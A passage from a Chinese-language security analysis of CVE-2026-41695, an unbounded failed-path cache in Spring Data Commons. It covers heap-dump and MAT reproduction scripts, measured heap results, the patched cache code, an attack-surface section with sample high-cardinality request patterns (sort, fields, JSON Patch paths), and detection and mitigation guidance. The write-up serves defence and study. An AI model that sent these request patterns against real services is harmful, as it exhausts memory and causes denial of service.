        org.springframework.data.mapping.context.Cve41695Reproducer \
        --label=${label}-dump \
        --iterations=${ITERATIONS} \
        --sleep-ms=${SLEEP_MS} \
        --output=/workspace/artifacts/heap-dumps/${label}-dump.json
    " >/dev/null

  trap 'docker rm -f "$container_name" >/dev/null 2>&1 || true' RETURN

  local pid=""
  for _ in $(seq 1 60); do
    pid="$(docker exec "$container_name" sh -lc "sed -n 's/.*\"jvmPid\": \\([0-9][0-9]*\\).*/\\1/p' /workspace/artifacts/heap-dumps/${label}-dump.json 2>/dev/null | head -n1" || true)"
    if [[ -n "$pid" ]] && docker exec "$container_name" sh -lc "kill -0 $pid" >/dev/null 2>&1; then
      break
    fi
    sleep 1
  done

  if [[ -z "$pid" ]]; then
    echo "Failed to find Java PID in $container_name" >&2
    docker logs "$container_name" >&2 || true
    return 1
  fi

  docker exec "$container_name" jcmd "$pid" GC.run >/dev/null
  docker exec "$container_name" jcmd "$pid" GC.heap_info >"$heap_info_path"
  docker exec "$container_name" jhsdb jmap --pid "$pid" --binaryheap --gz "$GZIP_LEVEL" --dumpfile /workspace/artifacts/heap-dumps/${label}.hprof.gz >/dev/null
  docker logs "$container_name" >"$log_path" 2>&1 || true
  docker rm -f "$container_name" >/dev/null 2>&1 || true
  trap - RETURN

  printf 'Saved live heap dump artifacts for %s:\n' "$label"
  printf '  %s\n' "$json_path" "$log_path" "$heap_info_path" "$dump_path"
}

cd "$ROOT_DIR"

run_heap_dump "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7"
run_heap_dump "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8"

第二条脚本 scripts/run-mat-batch.sh 会直接调用本地 MAT:

#!/usr/bin/env bash

set -euo pipefail

ROOT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
ARTIFACT_DIR="$ROOT_DIR/artifacts/heap-dumps"
WORKSPACE_DIR="$ARTIFACT_DIR/mat-workspace"
REPORT_DIR="$ARTIFACT_DIR/mat-batch"
DEFAULT_MAT_BIN="/Volumes/MemoryAnalyzer/MemoryAnalyzer.app/Contents/MacOS/MemoryAnalyzer"
MAT_BIN="${MAT_BIN:-$DEFAULT_MAT_BIN}"

if [[ ! -x "$MAT_BIN" ]]; then
  echo "[-] MAT binary not found: $MAT_BIN" >&2
  echo "    Set MAT_BIN=/path/to/MemoryAnalyzer and retry." >&2
  exit 1
fi

mkdir -p "$WORKSPACE_DIR" "$REPORT_DIR"

run_one() {
  local name="$1"
  local dump="$ARTIFACT_DIR/$name.hprof.gz"
  local log="$REPORT_DIR/$name-mat.log"

  if [[ ! -f "$dump" ]]; then
    echo "[-] Missing dump: $dump" >&2
    exit 1
  fi

  echo "[+] Running MAT batch for $dump"
  "$MAT_BIN" \
    -consolelog \
    -nosplash \
    -data "$WORKSPACE_DIR" \
    -application org.eclipse.mat.api.parse \
    "$dump" \
    org.eclipse.mat.api:suspects \
    org.eclipse.mat.api:top_components | tee "$log"
}

run_one vulnerable
run_one fixed

cat <<EOF

[+] Reports generated next to dump files:
    $ARTIFACT_DIR/vulnerable_Leak_Suspects.zip
    $ARTIFACT_DIR/vulnerable_Top_Components.zip
    $ARTIFACT_DIR/fixed_Leak_Suspects.zip
    $ARTIFACT_DIR/fixed_Top_Components.zip

[+] Console logs saved to:
    $REPORT_DIR/vulnerable-mat.log
    $REPORT_DIR/fixed-mat.log
EOF

这里有两个很容易踩坑、但很多文章不会写清楚的操作细节:

  1. 直接调用 ParseHeapDump.sh 时,相对路径是相对 .app 内部解析的,不是相对你当前 shell 工作目录
  2. 如果 MAT 从只读 DMG 里启动,又不显式加 -data,Eclipse 默认 workspace 会尝试写回 .app 包内,结果直接报只读错误

所以真正稳定的批处理命令一定要同时满足:

  • dump 走绝对路径
  • -data 指向本地可写目录

下面这组文件来自 2026-08-16 实际执行脚本后的结果:

版本

唯一路径数

cacheSize

post-GC heap used

dump 文件

4.0.5

20000

20000

9029K

3.9M

4.0.6

20000

512

2996K

1.3M

对应产物现在都已经落盘:

  • artifacts/heap-dumps/vulnerable.hprof.gz
  • artifacts/heap-dumps/fixed.hprof.gz
  • artifacts/heap-dumps/vulnerable_Leak_Suspects.zip
  • artifacts/heap-dumps/vulnerable_Top_Components.zip
  • artifacts/heap-dumps/fixed_Leak_Suspects.zip
  • artifacts/heap-dumps/fixed_Top_Components.zip
  • artifacts/heap-dumps/mat-batch/vulnerable-mat.log
  • artifacts/heap-dumps/mat-batch/fixed-mat.log

也就是说,本文现在已经不是“理论上可以做 heap dump”,而是已经把:

  • live heap dump
  • MAT batch parse
  • suspects 报告
  • top-components 报告

这四步都真正执行了一遍。

0x08.7 MAT 默认首页为什么没有直接把 Spring 路径缓存点成头号嫌疑对象

这里要特别小心,不要误读工具输出。

把 vulnerable.hprof.gz 和 fixed.hprof.gz 都交给 MAT 后,Leak Suspects 默认首页最先点出来的并不是:

  • PathResolution
  • TypeAndPath
  • DefaultPersistentPropertyPath
  • PersistentPropertyPathFactory

而是更“通用”的 retained set,例如:

  • java.lang.Class
  • java.util.zip.ZipFile$Source

这不是在否定本文结论,而是在说明 MAT 默认 leakhunter 的排序规则本来就偏向“谁在当前样本里最像通用内存热点”,不负责替你理解业务语义,也不会自动知道“哪个 retained set 才是这次 CVE 的真正研究对象”。

但 MAT 这一步仍然有明确价值,因为报告里已经实际出现了:

  • Common Path To the Accumulation Point
  • Accumulated Objects in Dominator Tree
  • Accumulated Objects by Class in Dominator Tree

这意味着离线 dominator tree 不是“还没做”,而是已经做完了;只是默认首页优先展示的是 JDK 级公共 retained set,而不是 Spring Data 这条应用级缓存链。

所以本文现在对证据边界的表述应该是:

  1. GC.class_histogram + GC.heap_info 负责证明 4.0.5 和 4.0.6 在失败路径缓存规模上确实出现数量级差异
  2. jhsdb jmap --binaryheap 负责把这种差异固化成可复核的 live heap dump
  3. MAT batch 负责证明这些 dump 已经可以被真正展开成 dominator tree / retained-set 视角的离线对象图
  4. 但如果你要在 MAT 里精确盯住 TypeAndPath -> PathResolution 这一簇对象,仍然应该结合定向 histogram / OQL,而不是只看 Leak Suspects 首页标题

0x09 利用视角:真实攻击面长什么样

这个洞最容易被误判成“只能本地触发”。实际上不是。

它能否远程打到,取决于你的系统有没有这类桥接:

  • 把 sort=name、sort=foo.bar 这类参数直接透传给 MappingContext#getPersistentPropertyPath(String, ...)
  • 或者先做路径封装,但最终仍把高基数字符串送进同一个负缓存 sink
  • 使用 Spring Data REST 或业务代码自定义桥接时,没有对白名单、限速或输入基数做约束

一旦有桥接,攻击者就只需要循环发送大量唯一垃圾值,例如:

GET /things?sort=aaaaaaaaaaaaaaaa1
GET /things?sort=aaaaaaaaaaaaaaaa2
GET /things?sort=aaaaaaaaaaaaaaaa3
...

如果该桥接最终命中 CVE 所在的字符串负缓存,每次请求都可能返回一个看起来“正常失败”的错误,但每次失败也都会在 JVM 堆上留下新条目。

这种攻击的几个特点很适合实战:

  • 不依赖命中真实字段
  • 是否依赖认证取决于具体桥接点
  • 不依赖复杂语义
  • 单请求成本低
  • 现象更像“业务参数乱填”而不是传统漏洞攻击流量

如果目标服务没有限速、没有白名单、没有网关层参数约束,这类 DoS 很容易演化成慢性内存压制。

0x09.1 四类常见的下游桥接模式(示意)

有一点需要先说明:Commons 内部已经确认的链路,只到 MappingContext#getPersistentPropertyPath(...) 为止;再往上的“HTTP 参数 -> 属性路径字符串”这段,通常是由下游模块或业务代码自己搭起来的。

从真实系统里最常见的实现方式看,桥接大致有四类。这里的图和例子用于帮助读者排查“自己的系统是否存在类似设计”,不应理解成“这些场景在所有模块里都已被逐一验证为 CVE 可达入口”:

1. 排序字段桥接

示意输入:

GET /orders?sort=customer.name123

示意链路:

这类桥接最常见,因为很多系统天然就允许前端传字段名控制排序。一旦中间层没有做白名单映射,而是直接把 property 透传给元数据解析器,攻击者就可以用大量唯一值持续污染缓存。

2. 字段选择 / 投影桥接

示意输入:

GET /users?fields=profile.address.city999
GET /users?projection=orders.totalAmount999

示意链路:

这类场景的风险点在于:开发者通常觉得自己只是在做“字段白名单校验”或“投影能力判断”,但如果判断逻辑本身依赖无界负缓存,攻击者反而能借这个校验过程制造长期内存占用。

3. JSON Patch / 局部更新桥接

示意输入:

[
  { "op": "replace", "path": "/persons/address/city2048", "value": "x" }
]

示意链路:

这类桥接往往不会被第一时间想到,因为输入表面上看起来是 patch 文档,不像“排序字段”那么直白;但只要应用内部最终把它归一化成属性路径字符串,本质上和 sort=foo.bar 没有区别。

4. 自定义 DSL / 查询构造器桥接

示意输入:

POST /search
{
  "orderBy": "persons.address.city4095",
  "groupBy": "persons.department.name4095"
}

示意链路:

这类桥接在业务系统里很常见,因为很多团队都会在 Spring Data 之上再包一层自己的查询抽象。风险不在 DSL 本身,而在“DSL 的字段名最终有没有被原样喂给属性路径解析器”。

0x09.2 攻击前提图:从请求参数到缓存污染

把前面的条件和桥接模式拼起来,这个洞在真实系统里的成立路径可以简化成:

图 11:只有“参数变属性路径”“路径桥接到 Commons”“攻击者能持续制造高基数唯一值”三个条件同时成立,漏洞链路才会闭合。

这张图里真正的判断点只有三个:

  1. 外部输入有没有机会变成属性路径。
  2. 属性路径有没有被直接桥接到 MappingContext。
  3. 攻击者能不能持续制造高基数唯一值。

只要这三件事同时成立,剩下的放大效果就主要由缓存边界和对象图深度决定。

0x09.3 三个容易误判的点

误判 1:只有 Spring Data REST 才会受影响

不是。Spring Data REST 只是一个容易被提到的例子,因为它天生和“路径、排序、投影”这类概念靠得近;真正决定风险的是:

  • 有没有把不可信字符串变成属性路径
  • 有没有把这条属性路径桥接到 Commons

只要业务代码自己做了同样的桥接,即使完全没用 Spring Data REST,风险同样成立。

误判 2:必须命中复杂递归对象图才有意义

也不是这样。复杂对象图确实能提高单次解析成本,但不决定漏洞是否存在。哪怕对象模型很普通,只要缓存 key 来自外部输入且没有上限,攻击者就能靠“海量唯一失败值”把 retained set 做大。

误判 3:请求都报错了,说明不会留下状态

这是最危险的误判。这个洞最关键的地方,恰恰是“失败发生在缓存写入之后”。也就是说,上层看到的是“这次请求失败了”,但 JVM 里发生的是“失败结果已经被持久保留了一份”。

从运维和排障角度看,这也是为什么它很容易被误诊成:

  • 普通参数校验失败
  • 某个客户端在乱传字段
  • 一波没什么威胁的 4xx 噪声

真正的问题在于,这些看似无害的失败流量,可能正在持续把老年代顶高。

0x0A 为什么修复方案有效

修复版没有去赌“攻击者不会发太多不同字符串”,而是直接承认了一个现实:

凡是 key 能由外部输入推导出来的缓存,都不能默认无界。

ConcurrentLruCache(512) 的意义在这里非常直接:

  1. 缓存容量有硬上限。
  2. 老条目可以被淘汰。
  3. 即使攻击者继续输入新的随机路径,堆上保留的缓存对象数也不再无限增长。

这不是“彻底消灭负缓存”,而是把它从“可被外部输入放大成 DoS”改成“受控的性能优化”。

0x0A.1 修复后还剩什么风险

这里需要把边界说清楚:4.0.6 / 3.5.12 修复的是这个 CVE 对应的“无界负缓存可被外部输入放大成内存 DoS”问题,而不是把所有失败路径缓存语义都删除了。

从实现上看,修复后的语义大致变成:

  1. 攻击者依然可以持续发送大量唯一无效路径。
  2. 这些路径依然可能触发解析、异常和一定程度的对象创建。
  3. 但缓存长期保留的失败结果被压缩到一个固定上界,不会再随请求数线性增长。
  4. 风险中心从“无限内存累积”退化成“有界缓存抖动 + 持续 CPU/异常噪声”。

对应到 4.0.6 的真实源码,关键上下文如下:

private final ConcurrentLruCache<TypeAndPath, PathResolution> propertyPaths =
        new ConcurrentLruCache<>(512, it -> createPersistentPropertyPath(it.path(), it.type()));

private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
    return propertyPaths.get(TypeAndPath.of(type, propertyPath)).getResolvedPath();
}

private PathResolution createPersistentPropertyPath(String propertyPath, TypeInformation<?> type) {

    String trimmedPath = propertyPath.trim();
    List<String> parts = trimmedPath.isEmpty() ? Collections.emptyList() : List.of(trimmedPath.split("\\."));
    ...
    if (pair == null) {
        return PathResolution.unresolved(parts, segment, type, currentPath);
    }
    ...
}

这里最值得注意的是:修复版并没有改掉“失败时返回 PathResolution.unresolved(...)”这件事,真正改变的是缓存容器变成了带上限和淘汰能力的 ConcurrentLruCache。

补丁解决的是这个漏洞最核心的部分:

  • 旧版本的问题是 retained set 可以无限变大;
  • 新版本的问题则更接近 bounded churn。

这也是为什么官方没有简单选择“彻底取消失败缓存”。如果完全不缓存失败路径,那么某些重复无效路径场景下,每次都要重新走一遍解析;从框架维护者的角度看,这会带来明显的性能回退。ConcurrentLruCache(512) 的取舍,本质上是在“保留负缓存收益”和“阻断无界放大”之间做平衡。

0x0A.2 把 ConcurrentLruCache 拆开看:这不是“换个 Map 名字”

如果只看 PersistentPropertyPathFactory 的补丁 Diff,很容易觉得修复只是:

- ConcurrentHashMap
+ ConcurrentLruCache(512)

但把 spring-framework 里的 ConcurrentLruCache 实现摊开看,会发现它并不是一个简单的 Collections.synchronizedMap(new LinkedHashMap(...)) 包装器,而是更接近:

private final int capacity;
private final AtomicInteger currentSize = new AtomicInteger();
private final ConcurrentMap<K, Node<K, V>> cache;
private final Function<K, V> generator;
private final ReadOperations<K, V> readOperations;
private final WriteOperations writeOperations;
private final EvictionQueue<K, V> evictionQueue = new EvictionQueue<>();
private final AtomicReference<DrainStatus> drainStatus = new AtomicReference<>(DrainStatus.IDLE);

public ConcurrentLruCache(int capacity, Function<K, V> generator) {
    this(capacity, generator, 16);
}

public V get(K key) {
    if (this.capacity == 0) {
        return this.generator.apply(key);
    }
    Node<K, V> node = this.cache.get(key);
    if (node == null) {
        V value = this.generator.apply(key);
        put(key, value);
        return value;
    }
    processRead(node);
    return node.getValue();
}

private void put(K key, V value) {
    Node<K, V> node = new Node<>(key, new CacheEntry<>(value, CacheEntryState.ACTIVE));
    Node<K, V> prior = this.cache.putIfAbsent(node.key, node);
    if (prior == null) {
        processWrite(new AddTask(node));
    } else {
        processRead(prior);
    }
}

private void processWrite(Runnable task) {
    this.writeOperations.add(task);
    this.drainStatus.lazySet(DrainStatus.REQUIRED);
    drainOperations();
}

private final class AddTask implements Runnable {
    @Override
    public void run() {
        currentSize.lazySet(currentSize.get() + 1);
        if (this.node.get().isActive()) {
            evictionQueue.add(this.node);
            evictEntries();
        }
    }

    private void evictEntries() {
        while (currentSize.get() > capacity) {
            Node<K, V> node = evictionQueue.poll();
            if (node == null) {
                return;
            }
            cache.remove(node.key, node);
            markAsRemoved(node);
        }
    }
}

这段实现至少说明了四件事:

  1. 修复版仍然是强引用缓存,不是弱引用或软引用缓存。
  2. 每个缓存项不是直接把 value 塞进 map,而是包成 Node<K, V>,并挂进一条独立的 EvictionQueue。
  3. 读命中不会每次都立刻重排 LRU 队列,而是先记录到 ReadOperations 缓冲区,再在合适时机 drain。
  4. 写 miss 会先生成 value,再通过 AddTask 把新节点入队,并在 currentSize > capacity 时从队首淘汰最旧节点。

这也解释了为什么修复版的风险画像不是“完全没有对象创建”,而是:

  1. 攻击者仍然可以持续制造新的 key
  2. 新 key 仍然会触发解析和对象创建
  3. 但长期保留在 cache + evictionQueue 里的 active 节点不会无限增长

从源码实现上还能进一步推断一个细节:在高并发场景下,putIfAbsent(...) 先把节点放进底层 ConcurrentMap,淘汰则要等写操作 drain 后才完成,因此容量附近可能存在短暂抖动窗口。

这个判断对应的不是模糊推测,而是由上面几行实现直接支撑的:

  1. putIfAbsent(...) 发生在 processWrite(new AddTask(node)) 之前,所以节点先进入底层 cache。
  2. 真正的淘汰逻辑不在 put(...) 当场完成,而是在后续 AddTask#run() 中通过 evictionQueue.add(...) 和 evictEntries() 执行。

不过这类窗口对应的是短期 churn,而不是旧实现那种“随着唯一输入永久线性累积”的 retained set。

还有一个很容易忽略、但很能说明维护者取舍的点:ConcurrentLruCache 的构造语义明确支持 capacity == 0,也就是“完全不缓存,总是重新生成”。官方补丁没有选择 0,而是显式选择了 512。这表明修复目标从一开始就不是“删除失败缓存语义”,而是“保留缓存收益,但给 retained set 加硬边界”。

不过要注意,这并不意味着下游应用层面的所有输入治理工作都自动完成了:

  • 它不会替你做属性路径白名单。
  • 它不会阻止用户持续发送垃圾参数。
  • 它不会把一个本来可远程到达的桥接点变成不可达。

更准确地说:

  1. 升级到官方 fixed version 后,这个 CVE 对应的漏洞已经修复。
  2. 额外的白名单、限速、告警联动,属于通用防御加固,而不是“升级后漏洞仍未修复”的补丁前提。

0x0B 防守建议

如果你是使用方,而不是框架维护者,真正该做的事有三层:

1. 升级

优先升级到官方 fixed version:

  • 4.0.6+
  • 3.5.12+
  • 4.0.5.1+(Enterprise Support Only)
  • 3.5.11.1+(Enterprise Support Only)
  • 3.4.15+(Enterprise Support Only)

如果还在 3.4.x 线,公开 OSS 修复不可用,需要企业支持版本。根据 Spring 官方公告,升级到对应 fixed version 后,No further mitigation steps are necessary. 下面这些建议属于额外加固,而不是官方补丁的替代品。

2. 不要把任意字符串直接当属性路径

对外部传入的:

  • sort
  • projection
  • fields
  • PATCH path
  • 任意“字段名/路径名”参数

做白名单或映射,而不是直接透传给框架内部解析器。

3. 从运维侧限制高基数参数攻击

  • API 网关做参数长度和字符集约束
  • 对高频失败请求限速
  • 对 InvalidPersistentPropertyPath 异常做聚合告警
  • 监控堆占用、Full GC、4xx 异常暴涨的联动关系

这个洞真正的检测特征,往往不是一条 IDS 规则,而是:

  • 某个路径参数出现海量唯一值
  • 同时伴随内存上涨和失败请求增多

4. 把检测规则落成具体告警

如果只停留在“监控堆占用、关注异常日志”这一层,很多团队到生产里还是抓不住这个洞。更实用的做法,是把它拆成三组可以联动的信号:

  1. 应用层异常信号
  2. JVM 资源信号
  3. 网关/接入层高基数参数信号

只有当这三类信号开始一起抬头时,才更像 CVE-2026-41695 这种“失败请求驱动的慢性内存压制”,而不是普通的业务报错。

4.1 应用日志侧:先盯 InvalidPersistentPropertyPath

如果你的应用或下游模块会把异常打进日志,那么最直接的入口就是聚合:

  • InvalidPersistentPropertyPath
  • No property '<segment>' found
  • PersistentPropertyPath
  • 与 sort、fields、projection、PATCH path 相关的 4xx 请求

优先看两个维度:

  1. 异常总量是否突然升高
  2. 触发异常的参数值是否呈现“短时间海量唯一值”

这个洞和普通误填参数最大的区别,不是“报错了”,而是“报错值几乎不重复”。如果 5 分钟内出现几千个不同的 sort/fields 参数,而业务侧又没有合理解释,这就已经很可疑。

如果日志平台支持聚合,可以直接按“参数名 + 去重值数量”做检测。例如思路上可以写成:

统计窗口:5 分钟
条件 1:InvalidPersistentPropertyPath 或同类路径解析失败异常显著升高
条件 2:同一接口上的 sort / fields / projection / path 参数 unique count 异常升高
条件 3:HTTP 4xx 比例同步抬升
满足其中 2-3 项时触发高优先级告警

4.2 JVM 指标侧:看“失败请求 + 老年代压力”是否同步

单独看 4xx 激增,可能只是客户端传错参数;单独看堆上涨,也可能只是别的内存泄漏。这个洞真正像样的画像,是两者开始联动。

重点关注:

  • heap_used_bytes
  • old_gen_used_bytes 或等价老年代占用指标
  • jvm_gc_pause_seconds_count / jvm_gc_pause_seconds_sum
  • Full GC 次数
  • 进程 RSS / 容器内存
  • 应用侧 4xx、异常请求量

更贴近这个洞的告警逻辑通常像这样:

条件 1:5-15 分钟内 4xx 或路径解析失败异常持续上升
条件 2:同一时间窗内 Old Gen 使用量持续增长
条件 3:Young GC 频率升高,或 Full GC 开始出现
条件 4:服务吞吐下降 / 响应时间上升

如果只有条件 1,没有条件 2 和 3,更像普通参数滥用;如果条件 1、2、3 连在一起出现,就更接近“失败流量正在把堆顶高”。

4.3 网关侧:抓高基数字段名,而不是只抓恶意关键字

很多安全设备喜欢找固定 payload 特征,但这个洞恰恰不太依赖“危险关键字”。攻击者完全可以只发:

sort=a1
sort=a2
sort=a3
...

所以网关侧更有效的策略不是“匹配某个危险字符串”,而是检测:

  1. 某个字段名参数在短时间内出现大量唯一值
  2. 这些值大多较短、看似普通,但重复率极低
  3. 同一来源持续触发 4xx 或同类错误响应

可以直接把这类参数列成重点观察名单:

  • sort
  • field
  • fields
  • projection
  • property
  • path
  • 任何业务里表示“字段名”“属性名”“路径名”的自定义参数

如果网关支持规则引擎,一个很实用的启发式是:

同一 IP / token / session
在 5 分钟内
针对同一接口
提交某个路径型参数超过 N 个唯一值
且失败响应占比超过阈值
=> 触发限速或挑战

这里的重点不是阈值写成多少,而是要把“unique count”纳入规则。没有唯一值维度,这类攻击很容易在网关里伪装成普通参数请求。

4.4 实战排障时,先确认这三件事

如果线上已经出现症状,最值得先回答的是:

  1. 最近是否有某个字段型参数的唯一值数量异常飙升。
  2. 这些请求是否集中触发了 InvalidPersistentPropertyPath 或同类路径解析失败。
  3. 异常出现的同一时间窗里,Old Gen、GC 和 RSS 是否同步上涨。

如果这三个问题的答案都是“是”,那就应该优先去检查:

  • 该接口是否把 sort / fields / projection / PATCH path 透传给了属性路径解析
  • 当前 Spring Data Commons 是否仍处于受影响版本
  • 网关或业务层是否缺少字段白名单 / 限速 / 参数约束

这类排障顺序比“先全局抓内存泄漏”更有效,因为它直接围绕这个洞最独特的特征展开:失败请求本身就是状态增长器。

0x0C 图示化总览

前面的分析已经把代码、复现、取证和检测分开展开。下面这三张图可以把整篇文章的主线快速串起来。

0x0C.1 攻击链总览

图 12:攻击面主链路。真正危险的是失败分支会先写入缓存,再把异常抛回上层。

这张图最关键的一点,不是“最后抛了异常”,而是“失败结果先进入缓存”。只要攻击者能持续制造高基数唯一路径,失败分支本身就会变成状态增长器。

0x0C.2 堆对象留存链

对应到本文的实测结果:

  • 4.0.5:PathResolution / TypeAndPath / DefaultPersistentPropertyPath 都能随唯一路径数线性长到 4096
  • 4.0.6:同一组对象被限制在 512 左右

所以这个洞真正危险的地方,不是“某个请求会失败”,而是“失败请求结束以后,相关对象还继续活在堆里”。

0x0C.3 检测联动图

图 13:应用日志、JVM 指标和网关信号需要联动看,单点指标很容易误报。

这个洞最好用“信号联动”来识别,而不是只靠单点规则。单独看任何一个指标都可能误报,但当“高基数参数 + 路径解析失败 + 老年代压力”同时出现时,画像就已经非常接近了。

0x0D 总结

CVE-2026-41695 很适合拿来提醒大家一件事:性能优化和安全边界,经常就在同一行代码上打架。

2023 年那次“缓存失败路径”的优化,从局部视角看完全合理;但一旦缓存 key 来自外部输入,而且没有边界,这个优化就会从“减少重复计算”转成“帮攻击者稳定囤积对象”。

这也是为什么很多框架级 DoS 漏洞看起来都不华丽,却非常有实战价值。它们不需要拿 shell,不需要绕鉴权,不需要代码执行。只要能让系统持续做一件“看起来正确但无法停止”的事,服务就会自己把自己拖死。

从这个角度看,CVE-2026-41695 是个很典型、也很教材级的缓存边界失控案例。

参考资料

  1. Spring 官方安全公告:https://spring.io/security/cve-2026-41695/
  2. NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-41695
  3. GitHub Advisory:https://github.com/advisories/GHSA-88fw-v6x4-3f58
  4. 引入失败路径缓存的 Issue:https://github.com/spring-projects/spring-data-commons/issues/2837
  5. 引入失败路径缓存的提交:291ce083bdcc4d140323125fab518ca64c47af9b
  6. 官方修复提交(4.0.x):96e9475b963218bb702959524187342671f6b080
  7. 官方修复提交(3.5.x):a4f893b66c18c70f2b22f29a2b55097b73c89941